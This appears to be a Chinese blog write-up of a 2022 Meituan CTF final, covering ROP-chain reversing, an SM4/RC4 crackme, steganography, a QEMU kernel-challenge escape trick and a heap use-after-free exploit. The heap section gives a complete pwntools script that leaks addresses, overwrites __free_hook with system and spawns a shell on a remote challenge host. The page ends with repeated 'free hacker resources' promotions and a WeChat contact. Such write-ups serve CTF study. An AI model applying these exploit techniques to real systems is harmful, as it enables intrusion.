2022美团CTF个人决赛WP

Reverse

ROP

解析data的ROP,一点一点还原

from pwn import *  
opcode = open('data', 'rb').read()  
opcode_gadget = opcode[0x30+8:]  
for offset in range(0, len(opcode_gadget), 8):  
  print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')

提取出来密文,转成64位的

cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,  
        0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]  
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)]

分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种

image.png

流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算

然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]

最后对比密文跳转结果

照着指令写一个逆回来的过程

#include <stdio.h>  
#include <stdlib.h>  
#include <stdint.h>  
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};  
void add(int i,int j){  
  bss_flag[i] -= bss_flag[j];  
}  
​  
void sub(int i,int j){  
  bss_flag[i] += bss_flag[j];  
}  
​  
void xor1(int i,int j){  
  bss_flag[i] ^= bss_flag[j];  
}  
​  
int main(){  
  sub(0x0,0x7);  
  add(0x1,0x5);  
  sub(0x3,0x7);  
  add(0x0,0x5);  
  add(0x0,0x7);  
  sub(0x3,0x7);  
  add(0x0,0x5);  
  xor1(0x2,0x5);  
  xor1(0x2,0x5);  
  sub(0x3,0x7);  
  sub(0x2,0x6);  
  xor1(0x0,0x7);  
  add(0x2,0x4);  
  add(0x1,0x4);  
  xor1(0x1,0x7);  
  xor1(0x0,0x7);  
  sub(0x0,0x5);  
  sub(0x0,0x7);  
  sub(0x0,0x5);  
  add(0x1,0x7);  
  xor1(0x1,0x5);  
  add(0x1,0x6);  
  sub(0x1,0x4);  
  xor1(0x2,0x4);  
  add(0x1,0x4);  
  sub(0x0,0x6);  
  sub(0x2,0x7);  
  add(0x1,0x6);  
  sub(0x2,0x5);  
  add(0x0,0x7);  
  xor1(0x3,0x6);  
  add(0x2,0x4);  
  xor1(0x0,0x6);  
  xor1(0x0,0x5);  
  xor1(0x3,0x7);  
  xor1(0x0,0x4);  
  xor1(0x2,0x5);  
  xor1(0x2,0x6);  
  xor1(0x2,0x6);  
  xor1(0x3,0x4);  
  xor1(0x0,0x7);  
  xor1(0x2,0x5);  
  xor1(0x0,0x4);  
  xor1(0x3,0x5);  
  xor1(0x1,0x6);  
  xor1(0x3,0x7);  
  xor1(0x0,0x4);  
  xor1(0x1,0x4);  
  xor1(0x2,0x7);  
  xor1(0x1,0x7);  
  xor1(0x0,0x4);  
  xor1(0x2,0x6);  
  xor1(0x0,0x5);  
  xor1(0x1,0x7);  
  xor1(0x0,0x5);  
  xor1(0x0,0x4);  
  xor1(0x3,0x6);  
  xor1(0x1,0x7);  
  xor1(0x2,0x5);  
  xor1(0x0,0x7);  
  xor1(0x0,0x7);  
  xor1(0x2,0x4);  
  xor1(0x3,0x4);  
  xor1(0x3,0x7);  
  printf("%s",(char *)bss_flag);  
  // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}  
}

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

crackme

go语言,一开始我ida还f5反编译不了,换了个才可以,难顶

直接sm4加密和rc4,sm4密钥写死在代码里

202210111406477.png

rc4的key在linese.txt里,密文也在里面

exp:

from binascii import unhexlify  
from Crypto.Cipher import ARC4  
from sm4 import SM4Key  
​  
c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')  
key = b'd0cac74c1bbeea071817360e491585e8'  
cipher = ARC4.new(key)  
m = cipher.decrypt(c)  
key0 = SM4Key(b'xc08asb890ajds0a')  
print(key0.decrypt(m))

Misc

What is that

stegsolve直接切换几个通道就可以看到

202210111406478.png

pwn

hello

直接网上查到kernel pwn qemu 的非预期

ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat
flag就可以

202210111406479.png

heap

一个UAF+数组上溢出

这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。

202210111406480.png

from pwn import *  
context.log_level='debug'  
#p=process('./pwn')  
p=remote('47.95.8.59',42283)  
elf=ELF('./pwn')  
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')  
libc=ELF('./libc.so.6')  
​  
def add(size):  
  p.sendafter(b'>\n', b'1')  
  p.sendafter(b'add?\n', str(size).encode())  
​  
def dele(index):  
  p.sendafter(b'>\n', b'2')  
  p.sendafter(b'up?\n', str(index).encode())  
​  
def edit(index,size,content):  
  p.sendafter(b'>\n', b'3')  
  p.sendafter(b'write?\n', str(index).encode())  
  p.sendafter(b'write?\n', str(size).encode())  
  p.sendafter(b'Content:', content)  
​  
def show(index):  
  p.sendafter(b'>\n', b'4')  
  p.sendafter(b'review?\n', str(index).encode())  
​  
show(-11)  
p.recvuntil('Content:')  
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008  
arraddr=probase+0x4060  
add(0x10)  
add(0x10)  
add(0x10)  
dele(0)  
dele(1)  
dele(2)  
edit(1,8,p64(arraddr))  
add(0x10)  
add(0x10)  
add(0x10)  
edit(2,8,p64(probase+elf.got['puts']))  
show(0)  
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']  
free_hook=libc_base+libc.symbols['__free_hook']  
system=libc_base+libc.symbols['system']  
edit(2,8,p64(free_hook))  
edit(0,8,p64(system))  
add(0x10)  
edit(3,8,b'/bin/sh\x00')  
dele(3)  
p.interactive()

更多网安技能的在线实操练习,请点击这里>>

se+libc.symbols[‘system’]
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b’/bin/sh\x00’)
dele(3)
p.interactive()

更多网安技能的在线实操练习,请点击这里>>

如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

img

img

👉网安(嘿客红蓝对抗)所有方向的学习路线****👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值